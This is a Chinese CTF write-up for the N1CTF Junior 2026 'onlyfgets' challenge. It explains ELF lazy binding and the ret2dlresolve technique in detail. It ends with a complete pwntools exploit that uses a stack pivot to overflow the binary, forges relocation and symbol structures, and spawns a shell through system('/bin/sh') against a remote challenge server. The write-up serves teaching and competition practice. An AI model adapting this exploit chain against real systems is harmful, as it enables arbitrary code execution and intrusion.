Onlyfgets

n1ctfjunior1onlyforgets (1).png

main函数:

n1ctfjunior1onlyforgets (2).png

整个程序很简单,就main函数这一共功能,这里很明显的栈溢出且除了nx没有其他保护(got表可写),而且写入量非常大,在没法获得libc地址的情况下我们考虑ret2dlresolve

我们先简单了解一下ret2dlresolve的原理

首先我们先看正常情况下的解析

在ELF程序里,像printf这类的外部库函数并不是一开始就把真实地址写死在程序里(因为libc的加载地址会变、ASLR会变),是通过延迟绑定机制确定真实地址的。

PLT:很多小跳版组成,每个外部函数通常对应一个plt条目,call puts@plt(举例)会先跳到plt,然后通过plt跳到下一步

GOT:里面放真实地址

第一次解析某个函数时(以puts函数为例)

puts@plt:
    jmp  QWORD PTR [puts@got]   ; 读 GOT 槽位,跳过去
    push reloc_index            ; 第一次会用:告诉解析器解析哪个符号
    jmp  plt0                   ; 进入统一解析入口

首先call puts@plt,跳到got表里puts对应的槽位,但是此时里面还没有存放puts真实地址,而是初始化的状态,里面放的是plt后半部分的路径(即执行push reloc_index然后jmp开始执行plt0)

如果是解析过的,got表对应槽位中有真实地址,直接就跳过去执行puts了

我们继续看第一次解析

现在开始执行plt0,plt0会去.got.plt里取出link_map和resolver(解析器)(具体是某个函数)的入口指针,然后执行resolver

resolver会拿到两个关键输入,一个是link_map和前面push的reloc_index

link_map (当前模块的运行时档案)
├─ l_addr = 模块加载基址 (base address)
├─ l_ld --------> .dynamic 段首地址 (Elf*_Dyn 数组)
└─ l_info[] = 快速索引表(每个槽位指向某个 Dyn 条目)

├─ l_info[DT_SYMTAB] ----+
├─ l_info[DT_STRTAB] ----+----> 指向 .dynamic 里的某个 Elf*_Dyn 条目本体(指针)
├─ l_info[DT_JMPREL] ----+
├─ l_info[DT_PLTRELSZ] ...
└─ ...

这样resolver通过link_map找到当前模块的.dynamic,然后通过扫描.dynamic生成l_info,然后根据快速索引表的指针和基址的运算找到具体条目,关键项有:

DT_JMPREL:PLT 相关重定位表地址(.rel.plt.rela.plt

DT_PLTRELSZ:这张重定位表的总字节数

DT_PLTREL:告诉你是 REL 还是 RELA

DT_SYMTAB:动态符号表 .dynsym 的地址

DT_STRTAB:字符串表 .dynstr 的地址

找到DT_JMPREL后程序通过这个找到.rel.plt/.rela.plt,

.rel.plt/.rela.plt的核心:

r_offest:得到真实地址后要写到的位置,典型就是某个got表的地址

r_info:符号索引(sym_index)和重定位类型

然后根据传入resolver的另一个参数reloc_index(索引或者偏移),通过这个索引或偏移在.rel.plt/.rela.plt找到对应的重定位项,然后找到这个重定位项中的r_info,通过这个解出sym_index

然后根据sym_index在.dynsym(通过DT_SYMTAB找到)定位到对应的条目中的st_name(这个是一个偏移)项

然后根据st_name这个.dynstr的偏移在.dynstr(通过DT_STRTAB找到,里面是一堆函数名字的字符串)找到函数名(字符串)

然后根据这个找到的函数名在已加载的共享库中查,得到这个函数的真实地址

然后把得到的地址写回前面的r_offest,这样got表里那个函数的槽就有真实地址了。

在 ELF 程序里,像 putsprintf 这类的外部库函数,并不是一开始就把真实地址写死在程序里的。因为每次运行程序时,libc 的加载基址都会因为 ASLR(地址空间布局随机化)而发生改变。

为了解决这个问题,系统采用了延迟绑定机制:只有当函数第一次被调用时,才去查找它的真实地址。这个过程主要依赖 PLT(过程链接表)和 GOT(全局偏移表)的配合。

PLT:由许多小跳板组成。每个外部函数通常对应一个 PLT 条目(比如 puts@plt)。当你执行 call puts 时,程序实际上跳到了这里。

GOT:里面存放着函数的真实内存地址。

  1. 第一次调用的触发阶段

以第一次调用 puts 函数为例,程序跳入 puts@plt

puts@plt:
    jmp  QWORD PTR [puts@got]   ; 读 GOT 槽位,跳过去
    push reloc_index            ; 压入 reloc_index,告诉解析器要解析哪个符号
    jmp  plt0                   ; 进入统一解析入口 PLT[0]

由于这是第一次调用,puts@got 槽位里存放的并不是 puts 的真实地址,而是处于初始状态——里面存放的是 puts@pltpush reloc_index 这条指令的地址!

因此,程序会顺着执行下去,将 reloc_index 压栈,并跳转到 PLT[0]

(注:如果函数已经被解析过,GOT 表里就会是真实地址,jmp 就会直接跳去执行 puts,不会再往下走了。)

  1. 进入统一解析入口 PLT[0]

开始执行 PLT[0] 时,程序会去 .got.plt 的前几项里取出两个关键数据,并执行解析器:

代码段

PLT[0]:
    push QWORD PTR [GOT+8]      ; 压入link_map (GOT 的第 2 项)
    jmp  QWORD PTR [GOT+16]     ; 跳转执行 _dl_runtime_resolve (GOT 的第 3 项)

此时,解析器 _dl_runtime_resolve 拿到了两个至关重要的输入参数:

  1. link_map(通过 push 传入)
  2. reloc_index(在刚才的 puts@plt 中通过 push 传入)

3.link_map:

link_map 是当前模块的运行时档案,结构极其重要。早在程序刚启动时(进入 main 函数前),动态链接器就已经扫描了 .dynamic 段,并将相关的指针填入了 link_mapl_info 数组中:

link_map
 ├─ l_addr        = 模块加载基址 (base address)
 ├─ l_ld ---------> .dynamic 段首地址 (Elf*_Dyn 数组)
 └─ l_info[]      = 快速索引表(每个槽位指向具体的 Dyn 条目)
    │
    ├─ l_info[DT_SYMTAB]  ----> 指向动态符号表 .dynsym 的地址
    ├─ l_info[DT_STRTAB]  ----> 指向字符串表 .dynstr 的地址
    ├─ l_info[DT_JMPREL]  ----> 指向重定位表 .rel.plt / .rela.plt 的地址
    ├─ l_info[DT_PLTRELSZ]----> 重定位表的总大小
    └─ ...
  1. 解析器按图索骥

解析器拿着 link_mapreloc_index

第一步:定位重定位表项 (Elf_Rel / Elf_Rela)

解析器通过 link_map->l_info[DT_JMPREL] 找到重定位表的基址。然后,利用传入的 reloc_index 作为索引或偏移,精准命中 puts 对应的重定位结构体。这个结构体里有两个关键字段:

  • r_offset:得到真实地址后,要把地址写回哪里(这里存放的就是 puts@got 的地址)。
  • r_info:包含了符号表索引和重定位类型。

第二步:提取符号索引 (sym_index)

解析器从结构体中取出 r_info,通过位移运算解出 sym_index

  • 32位系统:sym_index = r_info >> 8
  • 64位系统:sym_index = r_info >> 32

第三步:定位符号表项 (Elf_Sym)

解析器通过 link_map->l_info[DT_SYMTAB] 找到动态符号表(.dynsym)的基址。结合刚才算出的 sym_index,定位到对应的符号表条目,从中取出一个偏移量 st_name

第四步:获取真正的函数名

解析器通过 link_map->l_info[DT_STRTAB] 找到字符串表(.dynstr)的基址。加上 st_name 这个偏移量,最终在内存中读取到了函数名的字符串:"puts\x00"

第五步:查找并回写

解析器拿着 "puts" 这个名字,去系统已加载的共享库(libc)中查找,得到了 puts 的真实内存地址。最后,它把这个真实地址写回第一步记录的 r_offset(即 GOT 表的槽位)。

至此,解析大功告成,GOT 表被成功“绑定”,解析器顺手调用真实地址执行函数。下次再调用 puts 时,由于 GOT 表里已经是真实地址,就可以直接执行了。

这题能用pwntools里的Ret2dlresolvePayload,我们先讲Ret2dlresolvePayload的利用原理。

为了让解析器最终帮我们解析出 system 函数,我们需要进行一系列的伪造:

我们最后想要查找的是 system。因此,我们要伪造一个字符串表(.dynstr),里面写入 "system\x00" 字符串。

我们想要让程序去读取我们伪造的字符串,我们需要控制 st_name(即字符串偏移)。因此,我们要伪造一个符号表项(Elf_Sym 结构体),把里面的 st_name 指向我们伪造的 "system\x00"

我们想要让程序使用我们伪造的符号表项,我们需要控制 sym_index。因此,我们要伪造一个重定位表项(Elf_Rel / Elf_Rela 结构体),修改其中的 r_info 字段,使其解算出的索引指向我们伪造的 Elf_Sym。同时,修改 r_offset 字段,指向我们想要覆盖的 GOT 表槽位。

最终,我们想要让程序使用我们伪造的重定位表项,我们就必须在触发解析时,控制传入的 reloc_index(或者偏移)!

那我们就要控制 reloc_index

【情况 A:在 32 位系统下(栈传参)】我们可以利用栈溢出覆盖返回地址(eip),将栈布局成如下模样:

[ PLT[0] 的地址 ]  <-- 覆盖原本的返回地址(eip)
[ 伪造的 reloc_arg] <-- PLT[0] 执行时需要的参数
[ 任意返回地址    ] <-- 解析并执行完 system 后的去处
[ "/bin/sh" 地址  ] <-- system 的参数

当漏洞函数执行 ret 指令时,会将 PLT[0] 弹出到 eip 中执行。此时由于栈指针 esp 自动下移,栈顶恰好就是我们布置的 reloc_arg。 这完美等价于正常情况下的:

代码段

push reloc_arg
jmp plt0

程序会拿着我们伪造的巨大偏移,去寻找我们布置在 .bss 段的结构体。

【情况 B:在 64 位系统下(寄存器传参)】在 64 位下,解析器 _dl_runtime_resolve 不再从栈上读取参数,而是从寄存器读取:rdi 存放 link_maprsi 存放 reloc_index。 因此,覆盖 rip 直接跳到 PLT[0] 是不够的,我们需要借助 Gadget 构造如下的 ROP 链:

[ pop rdi; ret 的 gadget ] 
[ GOT[1] 真实的 link_map ] 
[ pop rsi; ret 的 gadget ]
[ 伪造的 reloc_index     ]
[ PLT[0] 的地址          ]

通过这段 ROP 链,我们将合法的 link_map 和伪造的 reloc_index 塞入对应的寄存器,最后再跳入 PLT[0] 触发解析。

以这题的Ret2dlresolvePayload为例

dlresolve_data_addr = fake_rbp  + 0x100
dlresolve = Ret2dlresolvePayload(
    elf,
    symbol="system",
    args=["/bin/sh"],
    data_addr=dlresolve_data_addr
)

dlresolve_data_addr是我们放置伪造部分的位置

打包生成了 dlresolve.payload

伪造第 1 步(伪造字符串):它在 payload 内部写下了 "system\x00""/bin/sh\x00"

伪造第 2 步(伪造 Elf64_Sym):它算出了 "system" 距离 .dynstr 的偏移,填入伪造结构体的 st_name 中。

伪造第 3 步(伪造 Elf64_Rela):它算出了 Elf64_Symsym_index,并组合成 r_info。同时它挑选了一个可写的 GOT 槽位(通常也是 BSS 段里的某个位置)作为 r_offset

计算:它根据提供的 data_addr,反向除以 24,计算出了最关键的那个 reloc_index

rop = ROP(elf)
rop.ret2dlresolve(dlresolve)

当调用 rop.ret2dlresolve 时,pwntools 会自动在程序里搜寻 pop rdi; retpop rsi; ret 的 Gadget,组装出如下的 rop.chain()

  1. pop rdi; ret -> 传入 GOT[1] (真实的 link_map)
  2. pop rsi; ret -> 传入 pwntools 刚算好的巨大 reloc_index
  3. PLT[0] 的地址 -> 触发 _dl_runtime_resolve 解析
  4. pop rdi; ret -> 将 /bin/sh 的地址传入 rdi (作为 system 的参数)
  5. 指向刚刚解析好的 system GOT 槽位 -> 执行 system("/bin/sh")
payload2 = flat([
    fill(40),           # 此时 rbp 已经是 fake_rbp 了,填充到返回地址
    rop.chain(),        # 写入 ROP 链(控制流开始执行)
    # 用 \x00 填充,确保伪造的数据正好落在我们前面说的地址上
    b'\x00' * (dlresolve_data_addr - (fake_rbp + 8 + len(rop.chain()))),
    dlresolve.payload   # 写入伪造的各种结构体
])

这里要注意一种情况,在不是很古老的64位版本中会有一个versym_addr检查,versym_addr的地址必须可读,如果文件比较大,我们放伪造体的位置(通常是.bss段)离可读段太远了,这样算出来的地址超出了 .rodata 的范围,继续往高地址走,在到达 .bss 段之前,会遇到一段长达大约 2MB 的巨大空白(看具体编译情况,有些有有些没有),如果落在这里就会失败,一般来说,程序的 .bss 段与代码可读段之间的空隙,没有超过安全区(可读段,代码段和只读段)自身厚度的 11 倍,我们就能通过检查

这题的.bss段距离安全区很近,所以能用:

readelf -S ./onlyfgets | grep .bss
[25] .bss              NOBITS           0000000000404050  00003050

还要注意一点就是我们要确定保护中got表是可写状态,不然我们就不能用这个方法。

我们这题只有一次读取,所以我们就用常用的栈迁移的方法

EXP:

from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
target = 'tcp 60.205.163.215 14836'

file_name = './onlyfgets'
libc_name = './libc.so.6'

elf = ELF(file_name)
context.binary = elf
libc = ELF(libc_name)

gdb_   = 1 if ('gdb' in sys.argv)        else 0
switch = 1 if ('remote' in sys.argv)     else 0
debug  = 0 if ('deoff'  in sys.argv)     else 1
error  = 1 if ('error'  in sys.argv)     else 0

if debug:
    context(log_level='debug')

if error:
    context(log_level='error')

bps = [
# 0x1234,
# 'main',
# (0xe3b31, 'libc'), 
# ('system', 'libc')
]

gdb_cmd = ''
if gdb_ and switch == 0:
    gdb_cmd += "set breakpoint pending on\n"
    for b in bps:
       if isinstance(b, int):
           gdb_cmd += f"b *$rebase({hex(b)})\n"
       elif isinstance(b, str):
           gdb_cmd += f"b {b}\n"
       elif isinstance(b, tuple) and len(b) == 2 and b[1] == 'libc':
           if 'libc' in locals() and libc:
                target = libc.sym[b[0]] if isinstance(b[0], str) else b[0]
                gdb_cmd += f'b *($base("libc") + {hex(target)})\n'
           else:
                log.warning("未加载 Libc,跳过 Libc 断点")
    gdb_cmd += "c\n"

if switch:
   parts = target.replace(':', ' ').split()
   host = parts[-2]
   port   = int(parts[-1])
   p = remote(host, port)
elif gdb_:
   p = gdb.debug(file_name, gdbscript=gdb_cmd, aslr=True)
else:
   p = process(file_name)

def s(data):             return p.send(data)
def sa(delim, data):     return p.sendafter(delim, data)
def sl(data):            return p.sendline(data)
def sla(delim, data):    return p.sendlineafter(delim, data)
def r(numb=4096):        return p.recv(numb)
def ru(delim, drop=True):return p.recvuntil(delim, drop)
def rl():                return p.recvline()
def ra(t=None):          return p.recvall(timeout=t)
def cl():                return p.close()
def it():                return p.interactive()
def uc64(data):          return u64(data.rjust(8, b'\x00'))
def uu64(data):          return u64(data.ljust(8, b'\x00'))
def a(f, off=libc):      return lg(hex(off), (ret := f.address + off)) or ret
def cb(data):            return data if isinstance(data, bytes) else str(data).encode()
def lg(name, data):      return log.success(name + ': ' + (hex(data) if isinstance(data, int) else data.decode(errors='ignore') if isinstance(data, bytes) else str(data)))
def menu(idx, pmt=b'>'): return sla(pmt, str(idx).encode())
def ga(delim=b'|', name='Leak'):      return [lg(f'{name}[{i}]', x) or x for i, x in enumerate([int(a, 16) for a in re.findall(b'0x[0-9a-fA-F]+', ru(delim))])]
def base(val, binary=elf):            return binary.address + val  
def ntlb(leak, offset, name='Libc'):  return setattr(libc, 'address', leak - (libc.sym[offset] if isinstance(offset, str) else offset)) or lg(name, libc.address)
def ntpie(leak, offset, name='PIE'):  return setattr(elf, 'address', leak - (elf.sym[offset] if isinstance(offset, str) else offset)) or lg(name, elf.address)
def fill(num, content=b'A'):          return (content.encode() if isinstance(content, str) else content) * num
def se(s, f=None):                    return lg(s if isinstance(s, str) else f"bytes: {s.hex()}", (addr := next((f or libc).search(s if isinstance(s, bytes) else s.encode())))) or addr

_rop_cache = {}
def gg(s, f=None):
   target = f or libc
   if target not in _rop_cache:
       _rop_cache[target] = ROP(target)
   rop = _rop_cache[target]
   instrs = [x.strip() for x in s.split(';')]
   gadget = rop.find_gadget(instrs)
   if gadget:
       addr = gadget.address
       lg(s, addr)
       return addr
   else:
       raise ValueError(f"[-] Critical: Gadget not found: {s}")

#################################################################################
main = 0x4011dd
fake_rbp = elf.bss() + 0xe00
dlresolve_data_addr = fake_rbp  + 0x100
dlresolve = Ret2dlresolvePayload(
    elf,
    symbol="system",
    args=["/bin/sh"],
    data_addr=dlresolve_data_addr
)
rop = ROP(elf)
rop.ret2dlresolve(dlresolve)
payload2 = flat([
    fill(40),   
    rop.chain(),  
    b'\x00' * (dlresolve_data_addr - (fake_rbp + 8 + len(rop.chain()))),
    dlresolve.payload  
])
payload1 = flat([
    fill(32),
    fake_rbp, 
    main  
])
sl(payload1)
sleep(0.1) 
sl(payload2)
it()

题目链接:

CTF-Writeups/N1CTF Junior 2026 1/onlyfgets at main · Zenquiem/CTF-Writeups


Onlyfgets
https://zenquietus.top/archives/wei-ming-ming-wen-zhang-FltR58kE
作者
ZenDuk
发布于
2026年02月09日
许可协议